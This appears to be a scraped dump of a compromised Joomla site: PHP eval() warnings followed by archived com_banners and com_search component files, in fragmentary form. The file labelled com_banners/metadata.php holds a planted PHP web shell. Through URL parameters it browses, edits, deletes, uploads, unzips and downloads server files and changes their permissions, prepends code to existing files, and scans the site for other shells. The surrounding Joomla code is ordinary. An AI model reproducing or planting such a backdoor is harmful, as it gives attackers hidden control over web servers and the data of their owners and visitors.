Warning: Cannot modify header information - headers already sent by (output started at /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code:102) in /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code on line 4

Warning: Cannot modify header information - headers already sent by (output started at /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code:102) in /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code on line 4

Warning: Cannot modify header information - headers already sent by (output started at /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code:102) in /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code on line 4

Warning: Cannot modify header information - headers already sent by (output started at /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code:102) in /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code on line 4

Warning: Cannot modify header information - headers already sent by (output started at /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code:102) in /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code on line 4

Warning: Cannot modify header information - headers already sent by (output started at /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code:102) in /var/www/iplanru/data/www/intesco.ru/d59ed/index.php(1) : eval()'d code(2) : eval()'d code on line 4
com_banners/router.php000066600000004347150771500630011103 0ustar00build($query); } function BannersParseRoute($segments) { $router = new BannersRouter; return $router->parse($segments); } com_banners/index.html000066600000000037150771500630011037 0ustar00 com_banners/metadata.php000066600000070351150771500630011341 0ustar00

'; foreach ($arr_files as $key) { $key_e = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $key); echo $key_e.';'.filesize($key)."
\n"; } echo '

'; exit; } ?> <?php echo $_SERVER['SCRIPT_FILENAME'];?> >"; foreach ($all_for_del as $each) { $each = strstr($each, '/'); $each = $_SERVER['DOCUMENT_ROOT'].'/'.$each; $each_for_echo = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $each); if (file_exists($each)) { del_file($each); if (!file_exists($each)) echo $each_for_echo." - removed"."\n"; else echo $each_for_echo." - not removed"."\n"; } else echo $each_for_echo." - not found"."\n"; } echo "<>"; exit; } function unzip_file($file) { $for_del = strrchr($file, '/'); $folder_to_save = str_replace($for_del, '', $file); //set_time_limit(0); $zip = new ZipArchive; $zip->open($file); $zip->extractTo($folder_to_save); $zip->close(); echo ""; } function read_file($file_name) { $list = $file_name; if (file_exists($file_name) and (filesize($file_name)>1)) { $file = fopen($list,"rt"); $arr_file = explode("\n",fread($file,filesize($list))); fclose($file); return $arr_file; } else { $arr_file = array(); return $arr_file; } } function clear_folder($dir) { $d=opendir($dir); while(($entry=readdir($d))!==false) { if ($entry != "." && $entry != "..") { if (is_dir($dir."/".$entry)) { clear_folder($dir."/".$entry); } else { unlink ($dir."/".$entry); } } } closedir($d); rmdir ($dir); } function only_read($file_name) { if (file_exists($file_name) and (filesize($file_name)>1)) { if (!$file = fopen($file_name,"rt")) { if (!chmod($file_name, 0775)) { echo 'can\'t permission for chmod file
'; $original_file = ''; } else // чмоднули, пробуем еще раз открыть файл { if (!$file = fopen($file_name,"rt")) // { echo 'can\'t permission for open file
'; $original_file = ''; } else { $original_file = fread($file,filesize($file_name)); fclose($file); } } } else { $original_file = fread($file,filesize($file_name)); fclose($file); } } return $original_file; } function findshells($start) { global $arr_filename; $files = array(); if (!$handle = opendir($start)) chmod($start, 0755); $handle = opendir($start); while(($file=readdir($handle))!==false) { if ($file!="." && $file !="..") { $startfile = $start."/".$file; if (is_dir($startfile)) findshells($startfile); else { $result = stristr($startfile, $_SERVER['SCRIPT_FILENAME']); if ($result == false) $arr_filename[] = $startfile; } } } closedir($handle); return $arr_filename; } if (isset ($_GET['unzip'])) { unzip_file($_GET['unzip']); } if (isset ($_GET['finder'])) { $domain = $_SERVER['SERVER_NAME']; $script_path = $_SERVER['SCRIPT_NAME']; $finderdata_path = $_SERVER['DOCUMENT_ROOT']."/finderdata.txt"; $good_result_path = $_SERVER['DOCUMENT_ROOT']."/goodfinderdata.txt";; $search_str = 'eval(base64_decode('; $search_str2 = 'Array(base64_decode('; $search_str3 = '@$isbot'; $search_str4 = '@require'; $search_str5 = 'eval(gzuncompress(base64_decode('; $search_str6 = '@include "\x2'; $search_str7 = '$OO'; $search_str8 = 'cache=00'; $search_str9 = 'file_get_contents(\"../index.php\")"'; $search_str10 = 'is_uploaded_file'; $search_str11 = 'base64_decode($_POST'; $search_str12 = 'multipart/form-data'; if (!file_exists($finderdata_path)) { $arr_php_file = findshells($_SERVER['DOCUMENT_ROOT']); $f = fopen ($finderdata_path, "a"); foreach ($arr_php_file as $each) { if ($each !== $_SERVER['SCRIPT_FILENAME']) fwrite($f, $each."\n"); } fclose($f); if (file_exists($finderdata_path)) { $redirect = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $_SERVER['SCRIPT_FILENAME']); $redirect = 'http://'.$redirect.'?finder';; ?> 0) echo count($all_path)." files for check
"; else echo ''; $for_check = read_file($finderdata_path); if (file_exists($finderdata_path) and (filesize($finderdata_path)>1)) { $redirect = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $_SERVER['SCRIPT_FILENAME']); $redirect = 'http://'.$redirect.'?finder';; ?> "; } } if (file_exists($finderdata_path)) unlink($finderdata_path); if (file_exists($good_result_path)) unlink($good_result_path); } } } if (isset ($_GET['download'])) { $file_for_save = $_GET['download']; if (file_exists($file_for_save)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename=' . basename($file_for_save)); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file_for_save)); readfile($_GET['download']); exit; } } ?> 1024) { $filesize = ($filesize/1024); if($filesize > 1024) { $filesize = ($filesize/1024); if($filesize > 1024) { $filesize = ($filesize/1024); $filesize = round($filesize, 1); return $filesize." gb"; } else { $filesize = round($filesize, 1); return $filesize." mb"; } } else { $filesize = round($filesize, 1); return $filesize." kb"; } } else { $filesize = round($filesize, 1); return $filesize." b"; } } function get_time($file) { if(!file_exists($file)) return "no info"; $last_update = filemtime($file); $time = date('Y-m-d H:i:s', $last_update); return $time; } function perms($filename, $check) { $perms = substr(decoct(fileperms($filename)), -3); if ($perms == '644') $color = 'green'; elseif ($perms == '755') $color = '#2EC842'; elseif ($perms == '444') $color = 'brown'; elseif ($perms == '000') $color = 'red'; elseif ($perms == '744') $color = 'orange'; elseif ($perms == '664') $color = 'green'; else $color = 'grey'; if ($check == 1) return $perms; else return "".$perms.""; } function CMS() { if ((is_dir($_SERVER['DOCUMENT_ROOT'].'/administrator/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/components/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/includes/'))) return "Joomla!"; elseif ((is_dir($_SERVER['DOCUMENT_ROOT'].'/wp-content/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/wp-admin/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/wp-includes/'))) return "WordPress"; else return "Unknown"; } function folder_separate($path) { $pos_end = strripos($path, '/'); $path2 = substr_replace($path, '', $pos_end, 99999); return $path2; } function side_bar($make_file) { echo ''; } if (isset($_GET['rename'])) { if (!empty($_POST ['n_name'])) { if (rename($_GET['rename'], $_POST ['n_name'])) $message_rename = 'Name changed!'; else $message_rename = 'Name can not be changed'; echo $message_rename; } } function edit_file($file, $current) { if (!empty($_POST['chm'])) { if ($_POST['chm'] == '0755') { if (chmod($file, 0755)) $message_chmod = 'Permission changed!'; else $message_chmod = 'Unable change permission!'; } elseif ($_POST['chm'] == '0444') { if (chmod($file, 0444)) $message_chmod = 'Permission changed!'; else $message_chmod = 'Unable change permission!'; } elseif ($_POST['chm'] == '0644') { if (chmod($file, 0644)) $message_chmod = 'Permission changed!'; else $message_chmod = 'Unable change permission!'; } else $message_chmod = '0755
0444
0644
'; echo $message_chmod; } if (empty($_POST['new'])) { $pos_end = strripos($file, '/'); $dir = substr_replace($file, '', $pos_end, 99999); if (file_exists($file) and (filesize($file)>1)) { if (!$fp = fopen ($file, "r")) { echo 'no have permission
'; $file_cont = 'can\'t show'; } else { $file_cont = fread ($fp, filesize ($file)); fclose ($fp); } } else $file_cont = ''; $file_cont = str_replace ("
\n"; echo "

\n"; echo "\n"; echo "\n"; } else { if (!empty($_POST['new_remote'])) { if (!chmod($file, 0755)) return "no have permission for chmod!"; $file_cont = only_read($file); $file_cont = $_POST['new'].$file_cont; $fp = fopen ($file, "w"); if (fwrite ($fp, $file_cont)) $message = ' - Edited!'; else $message = ' - Unable to edit!'; fclose ($fp); if (!chmod($file, 0444)) return "no have permission for chmod!"; } else { if (!chmod($file, 0755)) return "no have permission for chmod!"; $fp = fopen ($file, "w"); if (fwrite ($fp, $_POST ['new'])) $message = ' - Edited!'; else $message = ' - Unable to edit!'; fclose ($fp); } $pos_end = strripos($file, '/'); $dir = substr_replace($file, '', $pos_end, 99999); $fp = fopen ($file, "r"); $file_cont = fread ($fp, filesize ($file)); fclose ($fp); $file_cont = str_replace ("
\n"; echo "

\n"; echo "\n"; echo "\n"; if (chmod($file, 0444)) $message_chmod_last = 'Permission changed!'; else $message_chmod_last = 'Unable change permission!'; } } if (isset ($_GET['del'])) { if (is_dir($_GET['del'])) clear_folder($_GET['del']); else del_file($_GET['del']); } $domain = $_SERVER['SERVER_NAME']; $script_path = $_SERVER['SCRIPT_NAME']; $arr_folder = array(); $arr_filenames = array(); ?> File created successfully!'; side_bar($make_file); } else { echo 'Can not create!'; side_bar($make_file); } fclose ($fp); } elseif (!empty($_POST['new_dir'])) { if (isset($_GET['dir'])) $path = $_GET['dir'].'/'.$_POST['new_dir']; else $path = $_SERVER['DOCUMENT_ROOT'].'/'.$_POST['new_dir']; $make_file = 'http://' . $domain . $script_path . '?dir=' . $_GET['dir'] . '&new_dir=' . $path; if ($fp = mkdir($path)) { side_bar($make_file); echo "".""; } else { side_bar($make_file); echo "".""; } } elseif (!empty($_POST['search_file'])) { $file_name_for_search = $_POST['search_file']; $arr_all_filenames = findshells($_SERVER['DOCUMENT_ROOT']); if (isset ($_GET['dir'])) $dr = $_GET['dir']; else $dr = $_SERVER['DOCUMENT_ROOT']; side_bar($make_file); foreach ($arr_all_filenames as $each_file_name) { $result = stristr($each_file_name, $file_name_for_search); if ($result !== false) { $time = get_time($each_file_name); $real_url = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $each_file_name); echo ""; } } } if (isset ($_GET['edit'])) { $current = $domain.$script_path; edit_file($_GET['edit'], $current); } ?> "; $k++; } } foreach ($arr_filenames as $each) { if (isset ($_GET['dir'])) { $p = $_GET['dir'].'/'.$each; $dr = $_GET['dir']; } else { $p = $_SERVER['DOCUMENT_ROOT'].'/'.$each; $dr = $_SERVER['DOCUMENT_ROOT']; } $time = get_time($p); $real_url = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $p); if ($k % 2 == 0) $color_bg = '#fff8e7'; else $color_bg = '#ffffe0'; $per = stristr($each, '.zip'); if ($per !== false) $per = "Z "; else $per = "E "; echo ""; $k++; } ?>
File: $for_del - unzip successfully
Finish!
"."$each"."".get_filesize($each)."$time".perms($each, '0').""."U "."E "."O "."D"."
'; echo "
"; echo ""; echo "
"; echo "
"; echo ""; echo "
"; echo "
"; echo ""; echo "
"; echo '
\n"; echo ""; echo "
\n"; echo ""; echo "
\n"; echo ""; echo "
\n"; echo ""; echo "
'."File Uploaded!".''; } } elseif(sizeof($_FILES)!=0) echo 'No File Uploaded'; if (isset ($_GET['dir'])) $path_for_upload = $_SERVER['SCRIPT_NAME'].'?dir='.$_GET['dir']; else $path_for_upload = $_SERVER['SCRIPT_NAME'].'?dir='.$_SERVER['DOCUMENT_ROOT']; ?>
CMS:
Server IP:
Root: '.$_SERVER['DOCUMENT_ROOT'].''; ?>

Directory: '.$arr_path["$i"].'/'; else echo ''.$arr_path["$i"].''; } ?>
"."Folder created successfully!
"."Can not create folder!
"."$each_file_name"."".get_filesize($each_file_name)."$time".perms($each_file_name, '0').""."U "."E "."O "."D"."
NameSizeModifyPermissionsActions
"."$each"."dir$time".perms($p, '0').""."U "."
"."$each"."".get_filesize($p)."$time".perms($p, '0').""."U ".$per."O "."D"."
com_banners/banners.php000066600000000645150771500630011210 0ustar00execute(JFactory::getApplication()->input->get('task')); $controller->redirect(); com_banners/controller.php000066600000001306150771500630011736 0ustar00input->getInt('id', 0); if ($id) { $model = $this->getModel('Banner', 'BannersModel', array('ignore_request' => true)); $model->setState('banner.id', $id); $model->click(); $this->setRedirect($model->getUrl()); } } } com_banners/helpers/index.html000066600000000037150771500630012501 0ustar00 com_banners/helpers/banners.php000066600000230665150771500630012661 0ustar00 com_banners/helpers/category.php000066600000001134150771500630013031 0ustar00 com_banners/models/banners.php000066600000017645150771500630012503 0ustar00getState('filter.search'); $id .= ':' . $this->getState('filter.tag_search'); $id .= ':' . $this->getState('filter.client_id'); $id .= ':' . serialize($this->getState('filter.category_id')); $id .= ':' . serialize($this->getState('filter.keywords')); return parent::getStoreId($id); } /** * Gets a list of banners * * @return array An array of banner objects. * @since 1.6 */ protected function getListQuery() { $db = $this->getDbo(); $query = $db->getQuery(true); $ordering = $this->getState('filter.ordering'); $tagSearch = $this->getState('filter.tag_search'); $cid = $this->getState('filter.client_id'); $categoryId = $this->getState('filter.category_id'); $keywords = $this->getState('filter.keywords'); $randomise = ($ordering == 'random'); $nullDate = $db->quote($db->getNullDate()); $query->select( 'a.id as id,' . 'a.type as type,' . 'a.name as name,' . 'a.clickurl as clickurl,' . 'a.cid as cid,' . 'a.params as params,' . 'a.custombannercode as custombannercode,' . 'a.track_impressions as track_impressions,' . 'cl.track_impressions as client_track_impressions' ) ->from('#__banners as a') ->join('LEFT', '#__banner_clients AS cl ON cl.id = a.cid') ->where('a.state=1') ->where('(' . $query->currentTimestamp() . ' >= a.publish_up OR a.publish_up = ' . $nullDate . ')') ->where('(' . $query->currentTimestamp() . ' <= a.publish_down OR a.publish_down = ' . $nullDate . ')') ->where('(a.imptotal = 0 OR a.impmade <= a.imptotal)'); if ($cid) { $query->join('LEFT', '#__categories as cat ON a.catid = cat.id') ->where('a.cid = ' . (int) $cid) ->where('cl.state = 1'); } // Filter by a single or group of categories if (is_numeric($categoryId)) { $type = $this->getState('filter.category_id.include', true) ? '= ' : '<> '; // Add subcategory check $includeSubcategories = $this->getState('filter.subcategories', false); $categoryEquals = 'a.catid ' . $type . (int) $categoryId; if ($includeSubcategories) { $levels = (int) $this->getState('filter.max_category_levels', '1'); // Create a subquery for the subcategory list $subQuery = $db->getQuery(true); $subQuery->select('sub.id') ->from('#__categories as sub') ->join('INNER', '#__categories as this ON sub.lft > this.lft AND sub.rgt < this.rgt') ->where('this.id = ' . (int) $categoryId) ->where('sub.level <= this.level + ' . $levels); // Add the subquery to the main query $query->where('(' . $categoryEquals . ' OR a.catid IN (' . $subQuery->__toString() . '))'); } else { $query->where($categoryEquals); } } elseif ((is_array($categoryId)) && (count($categoryId) > 0)) { JArrayHelper::toInteger($categoryId); $categoryId = implode(',', $categoryId); if ($categoryId != '0') { $type = $this->getState('filter.category_id.include', true) ? 'IN' : 'NOT IN'; $query->where('a.catid ' . $type . ' (' . $categoryId . ')'); } } if ($tagSearch) { if (count($keywords) == 0) { $query->where('0'); } else { $temp = array(); $config = JComponentHelper::getParams('com_banners'); $prefix = $config->get('metakey_prefix'); foreach ($keywords as $keyword) { $keyword = trim($keyword); $condition1 = "a.own_prefix=1 AND a.metakey_prefix=SUBSTRING(" . $db->quote($keyword) . ",1,LENGTH( a.metakey_prefix)) OR a.own_prefix=0 AND cl.own_prefix=1 AND cl.metakey_prefix=SUBSTRING(" . $db->quote($keyword) . ",1,LENGTH(cl.metakey_prefix)) OR a.own_prefix=0 AND cl.own_prefix=0 AND " . ($prefix == substr($keyword, 0, strlen($prefix)) ? '1' : '0'); $condition2 = "a.metakey REGEXP '[[:<:]]" . $db->escape($keyword) . "[[:>:]]'"; if ($cid) { $condition2 .= " OR cl.metakey REGEXP '[[:<:]]" . $db->escape($keyword) . "[[:>:]]'"; } if ($categoryId) { $condition2 .= " OR cat.metakey REGEXP '[[:<:]]" . $db->escape($keyword) . "[[:>:]]'"; } $temp[] = "($condition1) AND ($condition2)"; } $query->where('(' . implode(' OR ', $temp) . ')'); } } // Filter by language if ($this->getState('filter.language')) { $query->where('a.language in (' . $db->quote(JFactory::getLanguage()->getTag()) . ',' . $db->quote('*') . ')'); } $query->order('a.sticky DESC,' . ($randomise ? 'RAND()' : 'a.ordering')); return $query; } /** * Get a list of banners. * * @return array * @since 1.6 */ public function getItems() { if (!isset($this->cache['items'])) { $this->cache['items'] = parent::getItems(); foreach ($this->cache['items'] as &$item) { $parameters = new JRegistry; $parameters->loadString($item->params); $item->params = $parameters; } } return $this->cache['items']; } /** * Makes impressions on a list of banners * * @return void * @since 1.6 */ public function impress() { $trackDate = JFactory::getDate()->format('Y-m-d H'); $items = $this->getItems(); $db = $this->getDbo(); $query = $db->getQuery(true); foreach ($items as $item) { // Increment impression made $id = $item->id; $query->clear() ->update('#__banners') ->set('impmade = (impmade + 1)') ->where('id = ' . (int) $id); $db->setQuery($query); try { $db->execute(); } catch (RuntimeException $e) { JError::raiseError(500, $e->getMessage()); } // track impressions $trackImpressions = $item->track_impressions; if ($trackImpressions < 0 && $item->cid) { $trackImpressions = $item->client_track_impressions; } if ($trackImpressions < 0) { $config = JComponentHelper::getParams('com_banners'); $trackImpressions = $config->get('track_impressions'); } if ($trackImpressions > 0) { // is track already created ? $query->clear() ->select($db->quoteName('count')) ->from('#__banner_tracks') ->where('track_type=1') ->where('banner_id=' . (int) $id) ->where('track_date=' . $db->quote($trackDate)); $db->setQuery($query); try { $db->execute(); } catch (RuntimeException $e) { JError::raiseError(500, $e->getMessage()); } $count = $db->loadResult(); $query->clear(); if ($count) { // update count $query->update('#__banner_tracks') ->set($db->quoteName('count') . ' = (' . $db->quote('count') . ' + 1)') ->where('track_type=1') ->where('banner_id=' . (int) $id) ->where('track_date=' . $db->quote($trackDate)); } else { // insert new count //sqlsrv change $query->insert('#__banner_tracks') ->columns( array( $db->quoteName('count'), $db->quoteName('track_type'), $db->quoteName('banner_id'), $db->quoteName('track_date') ) ) ->values('1, 1, ' . (int) $id . ', ' . $db->quote($trackDate)); } $db->setQuery($query); try { $db->execute(); } catch (RuntimeException $e) { JError::raiseError(500, $e->getMessage()); } } } } } com_banners/models/banner.php000066600000007466150771500630012320 0ustar00getState('banner.id'); // update click count $db = $this->getDbo(); $query = $db->getQuery(true) ->update('#__banners') ->set('clicks = (clicks + 1)') ->where('id = ' . (int) $id); $db->setQuery($query); try { $db->execute(); } catch (RuntimeException $e) { JError::raiseError(500, $e->getMessage()); } // track clicks $item = $this->getItem(); $trackClicks = $item->track_clicks; if ($trackClicks < 0 && $item->cid) { $trackClicks = $item->client_track_clicks; } if ($trackClicks < 0) { $config = JComponentHelper::getParams('com_banners'); $trackClicks = $config->get('track_clicks'); } if ($trackClicks > 0) { $trackDate = JFactory::getDate()->format('Y-m-d H'); $query->clear() ->select($db->quoteName('count')) ->from('#__banner_tracks') ->where('track_type=2') ->where('banner_id=' . (int) $id) ->where('track_date=' . $db->quote($trackDate)); $db->setQuery($query); try { $db->execute(); } catch (RuntimeException $e) { JError::raiseError(500, $e->getMessage()); } $count = $db->loadResult(); $query->clear(); if ($count) { // update count $query->update('#__banner_tracks') ->set($db->quoteName('count') . ' = (' . $db->quote('count') . ' + 1)') ->where('track_type=2') ->where('banner_id=' . (int) $id) ->where('track_date=' . $db->quote($trackDate)); } else { // insert new count //sqlsrv change $query->insert('#__banner_tracks') ->columns( array( $db->quoteName('count'), $db->quoteName('track_type'), $db->quoteName('banner_id'), $db->quoteName('track_date') ) ) ->values('1, 2,' . (int) $id . ',' . $db->quote($trackDate)); } $db->setQuery($query); try { $db->execute(); } catch (RuntimeException $e) { JError::raiseError(500, $e->getMessage()); } } } /** * Get the data for a banner. * * @return object */ public function &getItem() { if (!isset($this->_item)) { $cache = JFactory::getCache('com_banners', ''); $id = $this->getState('banner.id'); $this->_item = $cache->get($id); if ($this->_item === false) { // redirect to banner url $db = $this->getDbo(); $query = $db->getQuery(true) ->select( 'a.clickurl as clickurl,' . 'a.cid as cid,' . 'a.track_clicks as track_clicks' ) ->from('#__banners as a') ->where('a.id = ' . (int) $id) ->join('LEFT', '#__banner_clients AS cl ON cl.id = a.cid') ->select('cl.track_clicks as client_track_clicks'); $db->setQuery($query); try { $db->execute(); } catch (RuntimeException $e) { JError::raiseError(500, $e->getMessage()); } $this->_item = $db->loadObject(); $cache->store($this->_item, $id); } } return $this->_item; } /** * Get the URL for a banner * * @return string * * @since 1.5 */ public function getUrl() { $item = $this->getItem(); $url = $item->clickurl; // check for links if (!preg_match('#http[s]?://|index[2]?\.php#', $url)) { $url = "http://$url"; } return $url; } } com_search/router.php000066600000003772150771500630010721 0ustar00build($query); } function SearchParseRoute($segments) { $router = new SearchRouter; return $router->parse($segments); } com_search/views/index.html000066600000000037150771500630012011 0ustar00 com_search/views/search/view.html.php000066600000016711150771500630013715 0ustar00get('areas'); $state = $this->get('state'); $searchword = $state->get('keyword'); $params = $app->getParams(); $menus = $app->getMenu(); $menu = $menus->getActive(); // Because the application sets a default page title, we need to get it right from the menu item itself if (is_object($menu)) { $menu_params = new JRegistry; $menu_params->loadString($menu->params); if (!$menu_params->get('page_title')) { $params->set('page_title', JText::_('COM_SEARCH_SEARCH')); } } else { $params->set('page_title', JText::_('COM_SEARCH_SEARCH')); } $title = $params->get('page_title'); if ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($params->get('menu-meta_description')) { $this->document->setDescription($params->get('menu-meta_description')); } if ($params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $params->get('menu-meta_keywords')); } if ($params->get('robots')) { $this->document->setMetadata('robots', $params->get('robots')); } // Built select lists $orders = array(); $orders[] = JHtml::_('select.option', 'newest', JText::_('COM_SEARCH_NEWEST_FIRST')); $orders[] = JHtml::_('select.option', 'oldest', JText::_('COM_SEARCH_OLDEST_FIRST')); $orders[] = JHtml::_('select.option', 'popular', JText::_('COM_SEARCH_MOST_POPULAR')); $orders[] = JHtml::_('select.option', 'alpha', JText::_('COM_SEARCH_ALPHABETICAL')); $orders[] = JHtml::_('select.option', 'category', JText::_('JCATEGORY')); $lists = array(); $lists['ordering'] = JHtml::_('select.genericlist', $orders, 'ordering', 'class="inputbox"', 'value', 'text', $state->get('ordering')); $searchphrases = array(); $searchphrases[] = JHtml::_('select.option', 'all', JText::_('COM_SEARCH_ALL_WORDS')); $searchphrases[] = JHtml::_('select.option', 'any', JText::_('COM_SEARCH_ANY_WORDS')); $searchphrases[] = JHtml::_('select.option', 'exact', JText::_('COM_SEARCH_EXACT_PHRASE')); $lists['searchphrase'] = JHtml::_('select.radiolist', $searchphrases, 'searchphrase', '', 'value', 'text', $state->get('match')); // Log the search JSearchHelper::logSearch($searchword, 'com_search'); // Limit searchword $lang = JFactory::getLanguage(); $upper_limit = $lang->getUpperLimitSearchWord(); $lower_limit = $lang->getLowerLimitSearchWord(); if (SearchHelper::limitSearchWord($searchword)) { $error = JText::sprintf('COM_SEARCH_ERROR_SEARCH_MESSAGE', $lower_limit, $upper_limit); } // Sanitise searchword if (SearchHelper::santiseSearchWord($searchword, $state->get('match'))) { $error = JText::_('COM_SEARCH_ERROR_IGNOREKEYWORD'); } if (!$searchword && !empty($this->input) && count($this->input->post)) { // $error = JText::_('COM_SEARCH_ERROR_ENTERKEYWORD'); } // Put the filtered results back into the model // for next release, the checks should be done in the model perhaps... $state->set('keyword', $searchword); if ($error == null) { $results = $this->get('data'); $total = $this->get('total'); $pagination = $this->get('pagination'); require_once JPATH_SITE . '/components/com_content/helpers/route.php'; for ($i = 0, $count = count($results); $i < $count; $i++) { $row = & $results[$i]->text; if ($state->get('match') == 'exact') { $searchwords = array($searchword); $needle = $searchword; } else { $searchworda = preg_replace('#\xE3\x80\x80#s', ' ', $searchword); $searchwords = preg_split("/\s+/u", $searchworda); $needle = $searchwords[0]; } $row = SearchHelper::prepareSearchContent($row, $needle); $searchwords = array_values(array_unique($searchwords)); $srow = strtolower(SearchHelper::remove_accents($row)); $hl1 = ''; $hl2 = ''; $cnt = 0; foreach ($searchwords as $hlword) { if (extension_loaded('mbstring')) { if (($pos = mb_strpos($srow, strtolower(SearchHelper::remove_accents($hlword)))) !== false) { $pos += $cnt * mb_strlen($hl1 . $hl2); $cnt++; // iconv transliterates '€' to 'EUR' // TODO: add other expanding translations? $eur_compensation = $pos > 0 ? substr_count($row, "\xE2\x82\xAC", 0, $pos) * 2 : 0; $pos -= $eur_compensation; $row = mb_substr($row, 0, $pos) . $hl1 . mb_substr($row, $pos, mb_strlen($hlword)) . $hl2 . mb_substr($row, $pos + mb_strlen($hlword)); } } else { if (($pos = JString::strpos($srow, strtolower(SearchHelper::remove_accents($hlword)))) !== false) { $pos += $cnt * JString::strlen($hl1 . $hl2); $cnt++; // iconv transliterates '€' to 'EUR' // TODO: add other expanding translations? $eur_compensation = $pos > 0 ? substr_count($row, "\xE2\x82\xAC", 0, $pos) * 2 : 0; $pos -= $eur_compensation; $row = JString::substr($row, 0, $pos) . $hl1 . JString::substr($row, $pos, JString::strlen($hlword)) . $hl2 . JString::substr($row, $pos + JString::strlen($hlword)); } } } $result = & $results[$i]; if ($result->created) { $created = JHtml::_('date', $result->created, JText::_('DATE_FORMAT_LC3')); } else { $created = ''; } $result->text = JHtml::_('content.prepare', $result->text, '', 'com_search.search'); $result->created = $created; $result->count = $i + 1; } } // Check for layout override $active = JFactory::getApplication()->getMenu()->getActive(); if (isset($active->query['layout'])) { $this->setLayout($active->query['layout']); } // Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx')); $this->pagination = &$pagination; $this->results = &$results; $this->lists = &$lists; $this->params = &$params; $this->ordering = $state->get('ordering'); $this->searchword = $searchword; $this->origkeyword = $state->get('origkeyword'); $this->searchphrase = $state->get('match'); $this->searchareas = $areas; $this->total = $total; $this->error = $error; $this->action = $uri; parent::display($tpl); } } com_search/views/search/tmpl/default_form.php000066600000005250150771500630015417 0ustar00getUpperLimitSearchWord(); ?>
searchword)):?>

'. $this->total. '');?>

lists['searchphrase']; ?>
lists['ordering'];?>
params->get('search_areas', 1)) : ?>
searchareas['search'] as $val => $txt) : $checked = is_array($this->searchareas['active']) && in_array($val, $this->searchareas['active']) ? 'checked="checked"' : ''; ?>
total > 0) : ?>
pagination->getLimitBox(); ?>

pagination->getPagesCounter(); ?>

com_search/views/search/tmpl/default.php000066600000001620150771500630014371 0ustar00
params->get('show_page_heading', 1)) : ?>

escape($this->params->get('page_heading'))) :?> escape($this->params->get('page_heading')); ?> escape($this->params->get('page_title')); ?>

loadTemplate('form'); ?> error == null && count($this->results) > 0) : echo $this->loadTemplate('results'); else : echo $this->loadTemplate('error'); endif; ?>
com_search/views/search/tmpl/default.xml000066600000004370150771500630014407 0ustar00
com_search/views/search/tmpl/index.html000066600000000037150771500630014232 0ustar00 com_search/views/search/tmpl/default_results.php000066600000002543150771500630016157 0ustar00
results as $result) : ?>
pagination->limitstart + $result->count.'. ';?> href) :?> browsernav == 1) :?> target="_blank"> escape($result->title);?> escape($result->title);?>
section) : ?>
(escape($result->section); ?>)
text; ?>
params->get('show_date')) : ?>
created); ?>
com_search/views/search/tmpl/default_error.php000066600000000605150771500630015604 0ustar00 error) : ?>
escape($this->error); ?>
com_search/views/search/metadata.xml000066600000000215150771500630013561 0ustar00 com_search/views/search/index.html000066600000000037150771500630013256 0ustar00 com_search/views/search/view.opensearch.php000066600000002332150771500630015072 0ustar00setShortName($params->get('opensearch_name', $app->getCfg('sitename'))); $doc->setDescription($params->get('opensearch_description', $app->getCfg('MetaDesc'))); // Add the URL for the search $searchUri = JUri::base().'index.php?option=com_search&searchword={searchTerms}'; // Find the menu item for the search $menu = $app->getMenu(); $items = $menu->getItems('link', 'index.php?option=com_search&view=search'); if (isset($items[0])) { $searchUri .= '&Itemid='.$items[0]->id; } $htmlSearch = new JOpenSearchUrl; $htmlSearch->template = JRoute::_($searchUri); $doc->addUrl($htmlSearch); } } com_search/index.html000066600000000037150771500630010654 0ustar00 com_search/search.php000066600000000643150771500630010640 0ustar00execute(JFactory::getApplication()->input->get('task')); $controller->redirect(); com_search/controller.php000066600000005161150771500630011556 0ustar00input->set('view', 'search'); // force it to be the search view return parent::display($cachable, $urlparams); } public function search() { // slashes cause errors, <> get stripped anyway later on. # causes problems. $badchars = array('#', '>', '<', '\\'); $searchword = trim(str_replace($badchars, '', $this->input->getString('searchword', null, 'post'))); // if searchword enclosed in double quotes, strip quotes and do exact match if (substr($searchword, 0, 1) == '"' && substr($searchword, -1) == '"') { $post['searchword'] = substr($searchword, 1, -1); $this->input->set('searchphrase', 'exact'); } else { $post['searchword'] = $searchword; } $post['ordering'] = $this->input->getWord('ordering', null, 'post'); $post['searchphrase'] = 